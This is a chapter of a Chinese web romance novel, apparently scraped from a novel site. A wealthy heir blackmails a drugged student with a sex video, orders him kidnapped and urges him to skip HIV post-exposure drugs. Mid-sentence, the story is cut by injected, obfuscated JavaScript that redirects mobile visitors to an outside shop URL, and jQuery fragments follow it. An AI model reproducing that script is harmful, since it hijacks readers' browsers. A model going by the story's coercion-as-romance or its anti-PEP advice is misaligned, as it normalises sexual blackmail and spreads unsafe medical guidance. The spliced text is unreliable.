边桐擦着湿漉漉的头发回房间,拿过从咸鱼上淘的二手电脑,打算赶一赶单子进度。
他大学专业是计算机编程,在网上能接一些力所能及的私活。
钱不多,一个单子五十一百,但对边桐来说已经是笔不小的收入。
京市最繁华商业街,矗立在市中心的天辉大厦最大的led大屏上,循环播放着当红男星夏飞音奢侈品代言广告。
而国内最有实力也最具盛名的大风娱乐也在这里。
一大早夏飞音就来到公司,直闯总裁办公室。
“岑少,我有话要和你说。”
岑止从文件中抬眼,又迅速冷淡的收回去,继续看着手里的文件。
见岑止没理会他,夏飞音竟直接朝他跪下,爬到他的脚边。
“你这是干什么?”岑止无动于衷,甚至有些厌恶。
“岑少,那天晚上是我冲动,我骂了你,但你大人不记小人过,别跟我这种人计较,行不行?”
“我什么时候说要与你计较?”
“真的?”夏飞音眼中重燃起希望。
“真的,”岑止拍拍他这张俊秀的脸,“出去吧,我今天有工作。”
“那你什么时候来找我?”
“忙完就来找你。”
夏飞音喜出望外,“我等你!我今晚不睡,会一直一直等你过来。”
当天岑止忙到很晚,开完会议回到家,已经晚上十点。
但他压根就不记得有夏飞音这个人,从房间的抽屉里拿出一部新手机,用自己的小号添加边桐的微信。
等了半小时,没一点动静。
岑止莫名一阵焦虑,每隔半小时,提交一次好友申请,直到被系统判定为骚扰操作,申请发送失败的限制提示,岑止才罢休。
岑止此时的情绪很暴躁,他仰坐在沙发上,不甘心今晚就这样放过他的新玩具。
他深吸一口气,拿过手机给楼下的保镖打去电话。
“凌晨两点之前,把那天地下室姓边的男孩绑过来,做不到明天就别来了。”
岑止看了眼时间,晚上十一点半。
两个小时,也不是不能等。
边桐熬夜赶了一个小订单,摘下耳机看时间,刚过凌晨。
他伸着懒腰,疲惫地爬上床,捞过手机准备睡前看一下相关专业的视频解解压。
一解锁,微信弹出十几条好友添加信息。
每一条好友申请留言全是——【加我】
这种没通过好友申请,在短时间内不断添加好友的行为过于偏执和神经质。
边桐通过其中一条,并主动向对方发起信息。
边桐:【你哪位?】
岑止听到新手机的信息提示,整个人仿佛瞬间被激活,他迅速拿起手机。
岑止:【你猜】
边桐:【猫猫挠头.GIF】
岑止:【在干嘛?为什么这么久才通过我的好友申请】
边桐:【请问,你哪位?】
岑止:【前天,不记得吗?】
边桐:【你到底是谁?不说我拉黑了。】
岑止:【你压着我从晚上干到白天,这么快就忘了?】
边桐的心口仿佛被人打了一闷棍子,呼吸窘迫,浑身滚烫。
他第一时间不是质问,而是歉意与心虚。
边桐:【抱歉。】
岑止:【抱歉有什么用?】
边桐:【我也是受害者,那天的事情我记不太清楚。】
岑止:【那你这是想赖账?】
边桐:【不是。。。但我想知道你跟那姓岑的是什么关系?】
岑止:【能是什么关系,当然是我雇主啊!】
边桐:【……】
岑止:【怎么,不可以是我雇主吗?】
边桐:【你…你是做那种工作的?】
岑止:【MB,很难说出口?放心吧,我很干净,没病的。你要实在不放心,自己去疾控中心。】
边桐:【你加我是为什么?】
岑止:【当然是晚上寂寞,找你聊聊天。】
边桐:【我不想聊。】
岑止:【怎么?你想跟我做?】
边桐:【麻烦你放尊重点。】
岑止:【要不要跟我玩?】
边桐:【玩?】
岑止:【我可以给你钱,陪我玩玩。】
边桐:【拉黑!再见!】
岑止:【等等!先看看这个视频,你再考虑一下要不要把我拉黑。】
边桐心脏一紧,仿佛天花板都在晃动,他发视频过来的时候,边桐已经猜到他们录了视频。
他戴上耳机,才颤抖着指尖点开视频,昏暗的室内暧昧的喘息声此起彼伏……让他没敢多看,慌张地关闭视频。
边桐:【我到底做错了什么?你们为什么要这么整我?!】
岑止:【怎么能这么想呢?这是多么有趣的经历和人生体验?】
边桐:【你怎样才能把视频删了?】
岑止:【你陪我玩,玩腻了自然就删了,我还会偷偷帮你去岑少那边把原始视频删掉。】
边桐:【怎么玩?】
岑止:【我想见你的时候,你就出来陪我睡觉。】
边桐:【我不是同性恋!】
岑止:【哦,那你前天艹的是?】
边桐:【我是被人下药了,那不是我本意。】
岑止:【那你继续吃药不就好了?】
边桐:【你讲不讲道理?】
岑止:【我觉得我很讲道理啊!】
边桐:【那是你自己觉得。】
岑止:【我不喜欢说废话,你想拉黑就拉黑吧,网上见咯!】
边桐:【我需要考虑一下。】
岑止:【考虑多久?】
边桐:【不知道。】
岑止:【那就给你两天时间考虑,要么被曝光视频要么陪我玩一段时间,你自己选吧。】
人渣!!
边桐气得差点把手机砸了,可惜穷鬼的准则——重要物品轻拿轻放。
他默默把手机放回去充电,闭上眼在报警与报仇之间极限拉扯后,终于睡过去。
岑止想象着对面抓狂的模样,心情变得很不错。
直到保镖的电话打进来,“岑少,姓边的家里已经熄灯,家住在五楼,安了防盗窗,爬不进去,动静太大,您看,要不要放火把他逼出来?”
“难道放火动静就不大?”岑止捏着眉心,“算了,你们回来吧。”
几个保镖听到这个指令,全都松了口气。
这一夜边桐睡得并不安稳,他做了一个晚上的梦。
梦里都是与那个男人缠绵的过程。
他凶猛得仿佛不认识自己,身下的男人浑身汗津津地拼命地缠着他,把他后背抓得好疼。
可他竟然不觉得恶心,只觉得爽得头皮发麻。
清晨六点,他洗着床单,泪水不争气地流下来。
他丧气地觉得自己是全世界最倒霉的倒霉蛋,短暂的近二十年没做过任何亏心事,命运却要如此捉弄他。
更要命的是他终于想起,那件呼之欲出却怎么也想不起来的事。
他把共享单车丢了。
虽然醒来第一时间已经紧急报失,等到早上九点半联系客服冻结订单,但看着被扣掉的八百块,心真的很痛。
此时九点半,他已经坐在疾控中心走廊的长椅上,过来拿阻断药。
这种事情他赌不起,对方的话他一个句号都不信。
拿上阻断药,边桐一刻也没逗留,拉上卫衣连帽,戴着口罩快步离开了疾控中心。
他觉得自己像只见不得光的老鼠,明明没偷没抢,却生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449623|201136||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕被人看到。
已经被折磨得极薄弱的心理防线,让他再次红了眼眶,他一口气跑到天桥上,喧嚣的大风将他的帽子吹下,凌乱一头略长的黑发。
想起自己这些年的如履薄冰,想起亲人的冷漠,想起这社会的黑暗与不公,突然觉得活着一点意思都没有。
脑子里紧绷的那根弦眼看在下一秒即将拉断,一道微信语音电话铃声打断他的思绪。
边桐惊出一身冷汗,猛地惊醒快步走下天桥,拿起手机接起语音电话。
“在干吗呢?”电话那端男人的声音轻快,清脆又贵气。
边桐将手机从耳边拿下看到对面的名字,跟吃了苍蝇一般有点恶心。
“今天一天都没过,你说过给我两天时间!”
“……”岑止沉默几秒,语气明显低沉几分,“我没那么心急。”
边桐心底翻涌着恨意与厌恶,“没事我挂了。”
“不准挂。”岑止用着命令的语气,有着莫名的压迫感,“你挂试试。”
边桐憋屈地掉小珍珠,“你到底想干什么?”
听出他情绪的崩溃,岑止这颗冷冰冰的石头心有些动容,语气软了两分,“问你在干嘛,你哭什么?”
“我没有哭!”
“哦,那你在干嘛?”
“你神经病啊!一直在问我干嘛干嘛,你到底想干嘛?”
岑止气结,“所以,你在干嘛?”
边桐哽着嗓子骂道:“你这头死猪!”
“你在骂我?”
“对,骂你怎么了?你这种人渣,没打死你都算我善良!”
“哈哈,真可爱,骂得真好听。”岑止发自内心的欣赏,并笑出声来,“第一次听到别人骂我死猪。”
边桐感觉这人在阴阳怪气,纯纯挑衅。
他还在笑,如清朗的玉石相击,带着几分洒脱与漫不经心的慵懒,穿过他的耳膜。
神奇的是边桐的情绪瞬间被这笑音抚平,那些负面情绪荡然无存。
“喂,在干吗呢?”
边桐没了脾气,如实叙述,“我去疾控中心,拿阻断药。”
“你吃了?”
“还没。”外面人多,他想回家再吃。
岑止默了几秒,“别吃,这个会有副作用。我不久前刚做的体检,你要是不信,我等会儿把体检报告拍照发给你。”
边桐听到有副作用,也开始犹豫。
“你吃完阻断药,还得抽血,折腾这个做什么?你就把心放肚子里,我真没病。”
“哦。”边桐突然觉得这人渣好像没那么坏。
岑止的办公室被敲响,他匆匆挂断语音电话,随手给边桐转了个红包。
边桐走到公交车站,看到岑止给他的红包,没有接。
边桐:【你给我红包干什么?】
岑止:【给你一点小小的补偿,钱不多,收着吧。】
边桐犹豫几秒,点开红包,金额1888。
他一个月的生活费都用不了这么多,于是他又退了回去,但岑止没有接。
就这个时间,边家那个情趣用品小店已经被工商局查封。
边桐刚回到家,就看见刘月莹哭号着好一通咒骂。
“哪个丧天良的畜生啊!阻人财路如杀人父母,举报的人不得好死!!”
边桐深吸口气,贴着墙准备回房间,但还是被刘月莹叫住。
“你一大早死哪去了?我问你去哪了?!”刘月莹抡起一只玻璃杯朝边桐砸过去。
边桐侧身躲避,虽然没被砸到但被溅了一身水。
“咱家店开这么多年,一直好好的,你真是个扫把星啊边桐!就让你上了几天班,咱家店就被查封,是不是你没长眼得罪人啦?你说话!!”
小妹吓得缩在角落,看着大哥又被当成沙包一阵心疼,却没有勇气上前阻止。